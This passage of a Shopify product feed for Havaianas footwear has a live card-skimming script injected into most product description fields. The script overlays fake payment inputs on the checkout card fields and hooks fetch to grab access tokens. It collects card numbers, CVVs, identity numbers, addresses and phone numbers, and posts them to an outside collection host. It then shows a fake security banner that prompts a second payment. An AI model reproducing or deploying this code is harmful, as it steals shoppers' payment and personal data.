showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003ePara quem procura praticidade e funcionalidade, o chinelo masculino Havaianas Track Waves é uma ótima opção.\u003c\/p\u003e \n\n\u003cp\u003eCom tiras largas e arredondadas e textura de ondas na sola, o chinelo traz ainda mais conforto para o seu dia a dia. Além disso, a sola tratorada garante maior aderência e segurança\u003c\/p\u003e\n\n\u003cp\u003eEscolha o modelo que mais combina com você.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ 41\/42","offer_id":45615713321217,"sku":"4149734_0090_412","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 43\/44","offer_id":45615713386753,"sku":"4149734_0090_434","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 45\/46","offer_id":45615713452289,"sku":"4149734_0090_456","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 39\/40","offer_id":45617752539393,"sku":"4149734_0090_390","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 35\/36","offer_id":45624931746049,"sku":"4149734_0090_356","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 37\/38","offer_id":45624944001281,"sku":"4149734_0090_378","price":59.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149734-havaianas-track-waves-0090-0_ef8cfe34-195d-4800-853a-39c12d09ef35.jpg?v=1734126770"},{"product_id":"chinelo-havaianas-urban-basic-material-4148427-0154","title":"Chinelo Havaianas Urban Basic Material","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eO chinelo masculino Havaianas Urban Basic Material é para quem procura um modelo elegante, mas sem perder o conforto.\u003cbr\u003e\nDisponível em cores sóbrias, essa sandália possui as tiras largas e feitas em tecido, e ainda conta com o detalhe do logotipo Havaianas em formato de tag.\u003cbr\u003e\nCompre o seu.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Areia \/ 35\/36","offer_id":45615838265601,"sku":"4148427_0154_356","price":89.99,"currency_code":"BRL","in_stock":false},{"title":"Areia \/ 39\/40","offer_id":45615838298369,"sku":"4148427_0154_390","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Areia \/ 37\/38","offer_id":45615848456449,"sku":"4148427_0154_378","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Areia \/ 41\/42","offer_id":45615851700481,"sku":"4148427_0154_412","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Areia \/ 43\/44","offer_id":45615851798785,"sku":"4148427_0154_434","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Areia \/ 45\/46","offer_id":45615851831553,"sku":"4148427_0154_456","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Areia \/ 47\/48","offer_id":45615853273345,"sku":"4148427_0154_478","price":89.99,"currency_code":"BRL","in_stock":false}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148427-urban-basic-material-0154-0.jpg?v=1734126613"},{"product_id":"chinelo-havaianas-track-waves-4149734-0001","title":"Chinelo Havaianas Track Waves","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003ePara quem procura praticidade e funcionalidade, o chinelo masculino Havaianas Track Waves é uma ótima opção. Com tiras largas e arredondadas e textura de ondas na sola, o chinelo traz ainda mais conforto para o seu dia a dia. Além disso, a sola tratorada garante maior aderência e segurança Escolha o modelo que mais combina com você.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Branco \/ 35\/36","offer_id":45615892660481,"sku":"4149734_0001_356","price":59.99,"currency_code":"BRL","in_stock":false},{"title":"Branco \/ 37\/38","offer_id":45615892726017,"sku":"4149734_0001_378","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 41\/42","offer_id":45615909404929,"sku":"4149734_0001_412","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 43\/44","offer_id":45615909470465,"sku":"4149734_0001_434","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 45\/46","offer_id":45615909503233,"sku":"4149734_0001_456","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 39\/40","offer_id":45620558758145,"sku":"4149734_0001_390","price":59.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149734-havaianas-track-waves-0001-0_ea190978-901c-49b3-9f5b-c63e76057c80.jpg?v=1734126556"},{"product_id":"bone-havaianas-1962-4146984-0020","title":"Boné Havaianas 1962","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return 